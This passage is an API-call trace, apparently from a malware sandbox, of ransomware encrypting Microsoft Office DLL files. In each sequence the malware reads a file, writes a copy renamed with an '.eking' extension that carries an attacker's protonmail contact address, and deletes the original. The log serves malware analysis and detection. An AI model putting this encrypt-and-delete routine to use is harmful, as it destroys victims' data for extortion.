Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0269.190] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=52656) returned 1 [0269.190] CloseHandle (hObject=0xc0) returned 1 [0269.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0269.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0269.190] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0269.190] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0269.190] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0269.190] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0269.191] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xcdb0, lpOverlapped=0x0) returned 1 [0269.195] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xcdc0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xcdc0, lpOverlapped=0x0) returned 1 [0269.197] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0269.197] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0269.197] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0269.197] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xcdb0, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xcdb0, lpOverlapped=0x0) returned 1 [0269.198] FlushFileBuffers (hFile=0xc0) returned 1 [0269.202] FlushFileBuffers (hFile=0x1b4) returned 1 [0269.204] CloseHandle (hObject=0xc0) returned 1 [0269.204] CloseHandle (hObject=0x1b4) returned 1 [0269.204] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 1 [0269.207] SetEvent (hEvent=0xe0) returned 1 [0269.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0269.207] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=20944) returned 1 [0269.207] CloseHandle (hObject=0x1b4) returned 1 [0269.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0269.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0269.208] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0269.208] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0269.208] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0269.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0269.208] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x51d0, lpOverlapped=0x0) returned 1 [0269.211] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x51e0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x51e0, lpOverlapped=0x0) returned 1 [0269.213] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0269.213] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0269.213] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0269.213] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x51d0, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x51d0, lpOverlapped=0x0) returned 1 [0269.214] FlushFileBuffers (hFile=0x1b4) returned 1 [0269.218] FlushFileBuffers (hFile=0xc0) returned 1 [0269.221] CloseHandle (hObject=0x1b4) returned 1 [0269.221] CloseHandle (hObject=0xc0) returned 1 [0269.222] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 1 [0269.223] SetEvent (hEvent=0xe0) returned 1 [0269.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0269.224] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=862608) returned 1 [0269.224] CloseHandle (hObject=0xc0) returned 1 [0269.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0269.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0269.224] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0269.225] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0269.225] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0269.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0269.225] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xd2990, lpOverlapped=0x0) returned 1 [0269.252] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xd29a0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xd29a0, lpOverlapped=0x0) returned 1 [0269.375] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0269.375] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0269.375] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0269.376] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xd2990, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xd2990, lpOverlapped=0x0) returned 1 [0269.379] FlushFileBuffers (hFile=0xc0) returned 1 [0269.784] FlushFileBuffers (hFile=0x1b4) returned 1 [0269.984] CloseHandle (hObject=0xc0) returned 1 [0269.985] CloseHandle (hObject=0x1b4) returned 1 [0269.985] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 1 [0269.997] SetEvent (hEvent=0xe0) returned 1 [0269.999] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0270.000] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=154448) returned 1 [0270.000] CloseHandle (hObject=0x1b4) returned 1 [0270.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0270.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 0x20 [0270.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0270.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0270.000] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0270.001] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0270.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0270.001] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x25b50, lpOverlapped=0x0) returned 1 [0270.006] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x25b60, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x25b60, lpOverlapped=0x0) returned 1 [0270.011] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0270.011] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0270.011] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0270.011] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x25b50, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x25b50, lpOverlapped=0x0) returned 1 [0270.012] FlushFileBuffers (hFile=0x1b4) returned 1 [0270.109] FlushFileBuffers (hFile=0xc0) returned 1 [0270.134] CloseHandle (hObject=0x1b4) returned 1 [0270.134] CloseHandle (hObject=0xc0) returned 1 [0270.134] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ALRTINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\alrtintl.dll")) returned 1 [0270.137] SetEvent (hEvent=0xe0) returned 1 [0270.138] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0270.138] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=55680) returned 1 [0270.138] CloseHandle (hObject=0xc0) returned 1 [0270.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0270.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0270.139] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0270.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc0 [0270.139] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0270.139] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0270.139] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0270.140] ReadFile (in: hFile=0xc0, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0xd980, lpOverlapped=0x0) returned 1 [0270.162] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xd990, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xd990, lpOverlapped=0x0) returned 1 [0270.164] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x102, lpOverlapped=0x0) returned 1 [0270.164] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0270.164] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0270.164] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xd980, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0xd980, lpOverlapped=0x0) returned 1 [0270.165] FlushFileBuffers (hFile=0xc0) returned 1 [0270.194] FlushFileBuffers (hFile=0x1b4) returned 1 [0270.199] CloseHandle (hObject=0xc0) returned 1 [0270.200] CloseHandle (hObject=0x1b4) returned 1 [0270.200] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 1 [0270.202] SetEvent (hEvent=0xe0) returned 1 [0270.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0270.203] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1388416) returned 1 [0270.203] CloseHandle (hObject=0x1b4) returned 1 [0270.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0270.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0270.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0270.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0270.204] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0270.204] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0270.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0270.204] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x110100, lpOverlapped=0x0) returned 1 [0270.433] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x110100, lpOverlapped=0x0) returned 1 [0270.474] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x42e80, lpOverlapped=0x0) returned 1 [0270.479] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x42e90, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x42e90, lpOverlapped=0x0) returned 1 [0270.902] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x102, lpOverlapped=0x0) returned 1 [0270.903] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0270.903] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0270.903] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, 